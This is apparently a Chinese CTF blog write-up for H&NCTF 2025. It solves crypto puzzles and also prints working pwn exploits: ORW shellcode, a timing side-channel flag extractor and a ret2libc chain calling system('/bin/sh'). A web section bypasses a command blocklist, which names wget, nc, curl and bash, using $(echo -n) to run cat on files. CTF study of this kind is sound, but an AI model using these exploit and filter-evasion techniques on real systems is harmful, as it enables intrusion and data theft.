H&NCTF 2025 部分题目WriteUP

前言

一个人奋战半天拿了个第41,Crypto也没AK,遗憾退场

Crypto

哈基coke

import matplotlib.pyplot as plt  
import cv2  
import numpy as np  
from PIL import Image  
def arnold_encode(image, shuffle_times, a, b):  
    """ 
    Arnold shuffle for rgb image  
    Args:        
    image: input original rgb image        
    shuffle_times: how many times to shuffle    
    Returns:        
    Arnold encode image   
    """    
    arnold_image = np.zeros(shape=image.shape)  

    h, w = image.shape[0], image.shape[1]  
    N = h  

    for time in range(shuffle_times):  
        for ori_x in range(h):  
            for ori_y in range(w):  

                new_x = (1*ori_x + b*ori_y)% N  
                new_y = (a*ori_x + (a*b+1)*ori_y) % N  

                arnold_image[new_x, new_y, :] = image[ori_x, ori_y, :]  

        image = np.copy(arnold_image)  

    cv2.imwrite('en_flag.png', arnold_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])  
    return arnold_image  

img = cv2.imread('coke.png')  
arnold_encode(img,6,9,1)

Arnold变换,可以编写如下代码进行求解:

import matplotlib.pyplot as plt  
import cv2  
import numpy as np  
from PIL import Image  

def arnold_decode(image, shuffle_times, a, b):  
    decoded_image = np.copy(image)  
    h, w = image.shape[0], image.shape[1]  
    N = h  
    for _ in range(shuffle_times):  
        new_image = np.zeros_like(decoded_image)  
        for x in range(h):  
            for y in range(w):  
                ori_x = ((a * b + 1) * x - b * y) % N  
                ori_y = (-a * x + 1 * y) % N  
                new_image[ori_x, ori_y, :] = decoded_image[x, y, :]  
        decoded_image = np.copy(new_image)  

    return decoded_image  


encrypted_img = cv2.imread('en_flag.png')  
decrypted_img = arnold_decode(encrypted_img, shuffle_times=6, a=9, b=1)  
cv2.imwrite('decrypted_flag.png', decrypted_img, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])

可以解出如下图片:

那么可以得到flag:H&NCTF{haji_coke_you_win}

lcgp

from Crypto.Util.number import *  
import gmpy2  
import random  
n = getPrime(1024)  
flag = b'H&NCTF{' + str(uuid.uuid4()).encode() + b'}'  
flag=bytes_to_long(flag)  
e = 2024  
c=pow(e, flag, n)  

class LCG:  
    def __init__(self, seed, a, b, m):  
        self.seed = seed  
        self.a = a  
        self.b = b  
        self.m = m  

    def generate(self):  
        self.seed = (self.a * self.seed + self.b) % self.m  
        return self.seed  

lcg = LCG(c, getPrime(256), getPrime(256), getPrime(2048))  
random = [lcg.generate() for _ in range(5)]  

print(random)  
print("n=",n)

一个套着LCG壳子的离散对数问题,需要先通过恢复参数倒推种子的方式来得到密文,可以通过LCG笔记 – 三极管域 | Triode Field所讲述的方法来倒推参数得到seed,在此之后求离散对数即可得到flag:

from Crypto.Util.number import *

s = [...] # 题目给出的random
n = ...

t = []
for i in range(4):
    t.append(s[i+1]-s[i])
for i in range(1,2):
    p = gcd(t[i+2]*t[i]-t[i+1]*t[i+1],t[i+1]*t[i-1]-t[i]*t[i])
    a = (s[2]-s[1])*inverse(s[1]-s[0],p)%p
    b = (s[1]-a*s[0])%p
    seed = (s[0] - b) * inverse(a, p) % p
    R = GF(n)
    c = R(seed)
    base = R(2024)
    flag = c.log(base)
    print(long_to_bytes(flag))

可以得到flag:H&NCTF{7ecf4c8c-e6a5-45c7-b7de-2fecc31d8511}

数据处理

from Crypto.Util.number import bytes_to_long  
import random  
flag = b"H&NCTF{}"  

btl = str(bytes_to_long(flag))  
lowercase = '0123456789' 
uppercase = '7***4****5'   
table = ''.maketrans(lowercase, uppercase)   

new_flag = btl.translate(table)  
n = 2 ** 512  

m = random.randint(2, n - 1) | 1  


c = pow(m, int(new_flag), n)  
print('m = ' + str(m))  
print('c = ' + str(c))  
# m = 5084057673176634704877325918195984684237263100965172410645544705367004138917087081637515846739933954602106965103289595670550636402101057955537123475521383  
# c = 2989443482952171039348896269189568991072039347099986172010150242445491605115276953489889364577445582220903996856271544149424805812495293211539024953331399

一个简单的离散对数问题,但是密文是经过换表的(本质上是一个置换),而且置换后表也只知道其中三个数字,所以可以知道这个置换如下:

$$
\left(\begin{matrix}
0&1&2&3&4&5&6&7&8&9\\
7&*&*&*&4&*&*&*&*&5
\end{matrix}\right)
$$

那么需要通过爆破所有可能的置换来尝试还原得到flag:

from Crypto.Util.number import *
from itertools import permutations

m = 5084057673176634704877325918195984684237263100965172410645544705367004138917087081637515846739933954602106965103289595670550636402101057955537123475521383
c = 2989443482952171039348896269189568991072039347099986172010150242445491605115276953489889364577445582220903996856271544149424805812495293211539024953331399

n = 2^512
R = Zmod(n)

trans_flag = R(c).log(m)
tmp = str(trans_flag)
assert pow(ZZ(m), ZZ(trans_flag), n) == c

alpha = "0123689"
per = permutations(alpha)

for p in per:
    now_table = f'7{p[0]}{p[1]}{p[2]}4{p[3]}{p[4]}{p[5]}{p[6]}5'
    old_table = '0123456789'

    table = str.maketrans(now_table, old_table)

    pos_flag = tmp.translate(table)
    flag = long_to_bytes(int(pos_flag))

    if b'H&NCTF' in flag:
        print(flag)
        break

可以得到flag:H&NCTF{cut_cut_rrioajtfijrwegeriogjiireigji}

为什么出题人的rsa总是ez

代码:

#part 1  

def pad(flag, bits=1024):  
    pad = os.urandom(bits//8 - len(flag))  
    return int.from_bytes(flag + pad, "big")  

p = random_prime(2**1024)  
q = random_prime(2**1024)  
a = randint(0, 2**1024)  
b = randint(0, 2**1024)  
n = p * q  
e = 0x10001  
flag = b''  
m = pad(flag)  
assert m < n  

c = pow(m, e, n)  

print(f"c={c}")  
print(f"n={n}")  
print(f"h1={p + b * q}")  
print(f"h2={a * p + q}")  
# c=...  
# n=...  
# h1=...  
# h2=...  

#part 2  

from Crypto.Util.number import *  
from gmpy2 import *  
a = random_prime()  
b = random_prime()  
g = random_prime()  
h = 2*g*a*b+a+b  
while not is_prime(h):  
    a = random_prime()  
    b = random_prime()  
    g = random_prime()  
    h = 2*g*a*b+a+b  
N = 2*h*g+1  
# e from part1's flag  
flag=b''  
c=pow(bytes_to_long(flag),e,N)  
print(N)  
print(g)  
print(c)  
#N=...  
#g=...  
#c=...

第一部分

给了\(h_1=ap+q\)和\(h_2=p+bq\),参考BLAHAJ – angstrom CTF 2024 – Connor M可以知道\(qh_1 + ph_2 – h_1h_2=0\),用如下脚本即可解出第一部分(参考了前面的文章说到的脚本):

load('https://gist.githubusercontent.com/Connor-McCartney/952583ecac836f843f50b785c7cb283d/raw/5718ebd8c9b4f9a549746094877a97e7796752eb/solvelinmod.py')

var('p q')
bounds = {p: 2**1024, q: 2**1024}
eqs = [(q*h1 + p*h2 - h1*h2==0, n)]
sol = solve_linear_mod(eqs, bounds)
p = sol[p]
q = sol[q]
phi = (p-1)*(q-1)
d = inverse_mod(65537, phi)
print(long_to_bytes(pow(c, d, n)))

可以得到:

flag{e_is_xevaf-cityf-fisof-ketaf-metaf-disef-nuvaf-cysuf-dosuf-getuf-cysuf-dasix,bubbleBabble}

这显然不是flag,因为第二部分要用第一部分得到的\(e\),而这里给出了bubbleBabble编码后的\(e\),解码可以得到:

第二部分

给出质数\(g\),有\(h=2gab+a+b\),\(N=2hg+1\),显然这是Common Prime RSA,参考Common Prime RSA 笔记 | 独奏の小屋可以得到如下代码求解出flag:

N = ...
g = ...
ct = ... # 密文

from sage.groups.generic import bsgs

e = 81733668723981020451323

h = (N - 1) // (2*g)

nbits = 2048
gamma = RR(g.bit_length() / nbits)
print("gamma:", gamma)
cbits = ceil(nbits * (0.5 - 2 * gamma))

M = (N - 1) // (2 * g)
u = M // (2 * g)
v = M - 2 * g * u
GF = Zmod(N)
x = GF.random_element()
y = x ^ (2 * g)
c = bsgs(y, y ^ u, (ZZ(2**(cbits-1)), ZZ(2**(cbits+1))))
ab = u - c
apb = v + 2 * g * c
P.<x> = ZZ[]
f = x ^ 2 - apb * x + ab
a = f.roots()
if a:
    a, b = a[0][0], a[1][0]
    p = 2 * g * a + 1
    q = 2 * g * b + 1
    assert p * q == N

    phi = (p - 1) * (q - 1)
    d = inverse_mod(e, phi)
    m = pow(ct, d, N)

    print(long_to_bytes(m))

可以解出flag:flag{I wish you success in your cryptography career}

ez-factor

from Crypto.Util.number import *  
import uuid  

rbits = 248  
Nbits = 1024  

p = getPrime(Nbits // 2)  
q = getPrime(Nbits // 2)  
N = p * q  
r = getPrime(rbits)  
hint = getPrime(Nbits // 2) * p + r  
R = 2^rbits  
e=0x10001  
n=p*q  
phi=(p-1)*(q-1)  
flag = b'H&NCTF{' + str(uuid.uuid4()).encode() + b'}'  
m=bytes_to_long(flag)  
c=pow(m,e,n)  
print("N=",N)  
print("hint=",hint)  
print(c)  
N = ...  
hint = ...  
c = ...

有\(hint=kp+r\)(其中\(k\)是一个512位质数,\(r\)是一个248位质数),因为\(r\)很小,考虑构造多项式\(f=hint-x\)进行Coppersmith方法,使用参数\(X=2^{248},\beta=0.4,\varepsilon=0.01\)时可以求出一个小根\(r\),这个小根即为\(r\),从而可以得到\(p=(hint-r,N)\):

from Crypto.Util.number import *

N = ...
hint = ...
c = ...
e = 65537

R.<x> = Zmod(N)[]

f = hint - x
f = f.monic()

r = f.small_roots(X = 2^248, beta = 0.4, epsilon = 0.01)[0]

p = gcd(hint - r, N)
q = N // p

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)

print(long_to_bytes(m))

ez-factor-pro

这道题其实是赛后才看的

from Crypto.Util.number import *  
from Crypto.Util.Padding import *  
from gmssl.sm4 import CryptSM4, SM4_ENCRYPT  
from hashlib import sha256  
from random import *  
import uuid  
rbits = 252  
Nbits = 1024  

p = getPrime(Nbits//2)  
q = getPrime(Nbits//2)  
N = p*q  
r = getPrime(rbits)  
hint = getPrime(Nbits// 2)*p+r  
R = 2^rbits  
flag = b'H&NCTF{'+str(uuid.uuid4()).encode()+b'}'  
leak=p*q*r  
r_bytes = long_to_bytes(leak)  
iv = r_bytes[:16] if len(r_bytes) >= 16 else r_bytes + b'\0'*(16-len(r_bytes))  
key = sha256(str(p + q + r).encode()).digest()[:16]   
crypt_sm4 = CryptSM4()  
crypt_sm4.set_key(key, SM4_ENCRYPT)  
padded_flag = pad(flag, 16)  
c = crypt_sm4.crypt_cbc(iv, padded_flag)  
print("N=",N)  
print("hint=",hint)  
print(c)  

跟上一题差不多,就是\(r\)更大了,直接Coppersmith没办法搞出来,需要考虑爆破一下\(r\)的高位,按上一题来看的话爆破4位就行了,但是直接用sage自带的small_roots太慢了,考虑用flatter加速一下:

from Crypto.Util.number import *
from tqdm import trange
from gmssl.sm4 import CryptSM4, SM4_DECRYPT
from hashlib import sha256

N = ...
hint = ...
c = "..."

def flatter(M):  
    from subprocess import check_output  
    from re import findall  
    global count  
    # compile https://github.com/keeganryan/flatter and put it in $PATH  
    z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"  
    ret = check_output(["flatter"], input=z.encode())  
    return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))  


def small_roots(self, X=None, beta=1.0, epsilon=None, **kwds):  
    from sage.misc.verbose import verbose  
    from sage.matrix.constructor import Matrix  
    from sage.rings.real_mpfr import RR  

    N = self.parent().characteristic()  

    if not self.is_monic():  
        raise ArithmeticError("Polynomial must be monic.")  

    beta = RR(beta)  
    if beta <= 0.0 or beta > 1.0:  
        raise ValueError("0.0 < beta <= 1.0 not satisfied.")  

    f = self.change_ring(ZZ)  

    P, (x,) = f.parent().objgens()  

    delta = f.degree()  

    if epsilon is None:  
        epsilon = beta / 8  
    verbose("epsilon = %f" % epsilon, level=2)  

    m = max(beta**2 / (delta * epsilon), 7 * beta / delta).ceil()  
    verbose("m = %d" % m, level=2)  

    t = int((delta * m * (1 / beta - 1)).floor())  
    verbose("t = %d" % t, level=2)  

    if X is None:  
        X = (0.5 * N ** (beta**2 / delta - epsilon)).ceil()  
    verbose("X = %s" % X, level=2)  

    # we could do this much faster, but this is a cheap step  
    # compared to LLL    g = [x**j * N ** (m - i) * f**i for i in range(m) for j in range(delta)]  
    g.extend([x**i * f**m for i in range(t)])  # h  

    B = Matrix(ZZ, len(g), delta * m + max(delta, t))  
    for i in range(B.nrows()):  
        for j in range(g[i].degree() + 1):  
            B[i, j] = g[i][j] * X**j  

    B = flatter(B)  
    # B = B.LLL(**kwds)  

    f = sum([ZZ(B[0, i] // X**i) * x**i for i in range(B.ncols())])  
    R = f.roots()  

    ZmodN = self.base_ring()  
    roots = set([ZmodN(r) for r, m in R if abs(r) <= X])  
    Nbeta = N**beta  
    return [root for root in roots if N.gcd(ZZ(self(root))) >= Nbeta]

R.<x> = Zmod(N)[]  

for y in trange(1 << 4):  
    tmp = hint - (y << (252 - 4))  
    f = tmp - x  
    f = f.monic()  
    res = small_roots(f, X = 2^(252 - 4), beta=0.4, epsilon=0.01)  
    if res:  
        print(res)  
        p = gcd(tmp - ZZ(res[0]), N)  
        q = N // p  
        r = (y << (252 - 4)) + ZZ(res[0])  
        leak=p*q*r  
        r_bytes = long_to_bytes(leak)  
        iv = r_bytes[:16] if len(r_bytes) >= 16 else r_bytes + b'\0'*(16-len(r_bytes))  
        key = sha256(str(p + q + r).encode()).digest()[:16]   
        crypt_sm4 = CryptSM4()  
        crypt_sm4.set_key(key, SM4_DECRYPT)  
        m = crypt_sm4.crypt_cbc(iv, bytes.fromhex(c))  
        print(m)

可以得到flag:

three vertical lines

这道题也是赛后做的,比赛的时候还没意识到之前做过一道类似的题

from Crypto.Util.number import *  
from secret import flag  
from rsa.prime import getprime  
while(1):  
    p=getprime(256)  
    q=getprime(256)  
    if isPrime(3*p**5+4*q**5):  
        print(3*p**5+4*q**5)  
        break  

e = 65537  
print(pow(bytes_to_long(flag), e, p * q)) 

已知信息很少,只有一个\(3p^5+4q^5\)以及\(p,q\)都是质数,记\(3p^5+4q^5=r\),将该式置于模\(r\)下有:

$$
3p^5+4q^5\equiv p^5+\frac{4}{3}q^5\equiv0\pmod{r}
$$

即:

$$
p^5\equiv -\frac{4}{3}q^5\pmod{r}
$$

设整数\(a\in(0,r)\)满足\(a^5\equiv-\frac{4}{3}\pmod{r}\),那么有:

$$
p^5\equiv(aq)^5\pmod{r}
$$

开根有:

$$
p\equiv aq\pmod{r}
$$

即\(aq – kr=p\)(其中\(k\)为整数),那么可以构造出如下格:

$$
\left(\begin{matrix}
1&a\\
0&-r
\end{matrix}\right)
$$

有如下关系:

$$
(q,k)\left(\begin{matrix}
1&a\\
0&-r
\end{matrix}\right)=(q,p)
$$

通过格规约算法即可得到\(p,q\):

from Crypto.Util.number import *

r = ...
c = ...

R.<x> = Zmod(r)[]
A = 4 * inverse(3, r) % r
f = x^5 + A
a = ZZ(f.roots()[0][0])

L = matrix(ZZ, [[1, a], [0, r]])

res = L.LLL()[0]

p = int(abs(res[0]))
q = int(abs(res[1]))

phi = (p - 1) * (q - 1)
d = inverse(65537, phi)

m = pow(c, d, p * q)
print(long_to_bytes(m))

Pwn

三步走战略

有个沙箱:

显然只允许使用open,write,read,又有输入部分:

这里给buf分配了一个可读可写可执行而且很大的区间,所以我们可以向里面写入可执行代码,那么我们就可以向里面写入ORW的shellcode,之后通过栈溢出跳转执行那段shellcode:

from pwn import *  

context.arch='amd64'  

buf = 0x1337000  

shellcode = f"""  
xor rsi,rsi
xor rdx,rdx
push rdx
mov rax, 0x67616c662f2e 
push rax 
mov rdi,rsp  
xor rax,rax  
mov al,2
syscall  
mov rdi,rax  
mov dl,0x40 
mov rsi,rsp  
mov al,0
syscall
xor rdi,rdi
mov al,1
syscall
"""  

payload = asm(shellcode)  

p = remote("27.25.151.198", 36461)  

p.sendafter(b'I think you need to prepare your acceptance speech in advance. ', b'\n')  
p.sendafter(b'Please speak:', payload)  
payload = b'a' * 0x40 + b'=Triode=' + p64(buf)  

p.sendafter(b'Do you have anything else to say?', payload)  

p.interactive()

shellcode

没有W的ORW,反编译可以看到:

进入沙箱可以看到:

可以看到不能用execvewrite还有sendfile,考虑通过测信道逐字符爆破flag,exp如下:

from pwn import *  

context.arch = 'amd64'  
context.os = 'linux'  


def genshellcode(idx, c):  
    shellcode = """  
    mov rdi, 0x67616c662f2e    
    push rdi    
    mov rdi, rsp    
    mov rsi, 0    
    mov rdx, 0    
    mov rax, 2    
    syscall    
    mov rdi, 3    
    mov rsi, rsp    
    mov rdx, 0x100    
    mov rax, 0    
    syscall    
    mov dl, byte ptr [rsp+{0}]    
    mov cl, {1}    
    cmp dl, cl    
    jz loop    
    ret    
    loop:    
    jmp loop    
    """.format(idx, c)  
    return asm(shellcode)  

flag = ""  
idx = 0  
while True:  
    update = False  
    for ch in b'lg0123456789abcdef-{}':  
        p = remote("27.25.151.198", 43975)  
        shellcode = genshellcode(idx, ch)  
        p.sendafter(b'Enter your command: ', shellcode)  
        start = time.time()  
        try:  
            p.recv(timeout=10)  
        except:  
            pass  
        end = time.time()  
        p.close()  
        if (end - start > 8):  
            flag += chr(ch)  
            last = chr(ch)  
            update = True  
            print("[update flag] " + flag)  
            break  

    assert (update == True)  

    if (last == '}'):  
        break  

    idx += 1  

print("flag: " + flag)

pdd助力

main函数反汇编如下:

可以见到第一部分随机数的种子只可能是0、1、2、3、4之间的一个减去44174237,我们可以选择0作为种子生成一串随机数,有20%的概率成功,而第二部分很显然固定了种子为8,这样的话就不用再去抽奖了,在这之后就会进入func函数:

明显存在栈溢出,而这个程序没有canary和PIE,所以可以直接打ret2libc,exp如下(成功率20%):

from pwn import *  

p = remote("27.25.151.198", 41172)  

randList1 = [2, 4, 1, 3, 1, 1, 2, 2, 1, 1, 1, 1, 4, 3, 2, 2, 1, 2, 1, 3, 3, 2, 1, 2, 2, 2, 2, 2, 4, 3, 3, 1, 2, 3, 3, 2, 3, 1, 3, 3, 1, 4, 3, 4, 2, 4, 1, 3, 2, 1, 1, 4, 2, 2, 1]
randList2 = [8, 8, 10, 9, 11, 9, 10, 9, 9, 9, 11, 9, 8, 11, 11, 10, 8, 10, 9, 9, 9, 10, 9, 10, 8, 11, 10, 9, 11, 11, 9, 8, 8, 11, 9, 11, 9, 11, 9, 10, 8, 8, 11, 9, 11, 10, 11, 8, 9, 8, 9, 10, 11, 10, 8]

elf = ELF("./pwn2")  
libc = ELF("./libc.so.6")  

for i in randList1:  
    p.sendlineafter(b'good!\n', str(i).encode())  

for i in randList2:  
    p.sendlineafter(b'good!\n', str(i).encode())  

puts_plt = elf.plt['puts']  
puts_got = elf.got['puts']  
pop_rdi = 0x401483  
ret = 0x40101a  
vuln = 0x40121f  

payload = b'a' * 48 + b'=Triode=' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)  
p.sendlineafter(b'Congratulations young man.\n', payload)  

puts_real = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))  
libc_base = puts_real - libc.symbols['puts']  
log.info(f'puts_real: {hex(puts_real)}')  
log.info(f'libc_base: {hex(libc_base)}')  

system = libc_base + libc.symbols['system']  
bin_sh = libc_base + next(libc.search(b'/bin/sh'))  
payload = b'a' * 48 + b'=Triode=' + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(vuln)  

p.sendlineafter(b'Congratulations young man.\n', payload)  

p.interactive()

Web

Really_Ez_Rce

<?php  
header('Content-Type: text/html; charset=utf-8');  
highlight_file(__FILE__);  
error_reporting(0);  

if (isset($_REQUEST['Number'])) {    $inputNumber = $_REQUEST['Number'];  

    if (preg_match('/\d/', $inputNumber)) {  
        die("不行不行,不能这样");  
    }  

    if (intval($inputNumber)) {  
        echo "OK,接下来你知道该怎么做吗";  

        if (isset($_POST['cmd'])) {            $cmd = $_POST['cmd'];  

            if (!preg_match(                '/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',                $cmd            )) {  
                echo "你传的参数似乎挺正经的,放你过去吧<br>";                system($cmd);  
            } else {  
                echo "nonono,hacker!!!";  
            }  
        }  
    }  
}

过滤了一堆命令的RCE,可以通过$(echo -n)输出空字符串的方式来绕过大部分命令限制,可以尝试通过遍历文件的方式来读取当前目录下的所有文件:

for f in $(l$(echo -n)s); do c$(echo -n)a$(echo -n)t $f; done

但是当前目录下只有index.php,因为/没有被过滤,所以l$(echo -n)s /查看根目录可以看到:

flag确实在根目录,因为cd没有被过滤,所以直接通过如下命令来遍历该目录并输出,因为根目录下只有flag.txt一个文件(其它均为目录),所以可以通过如下命令得到flag:

cd /; for f in $(l$(echo -n)s); do c$(echo -n)a$(echo -n)t $f; done

传入cmd命令后可以得到flag:

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇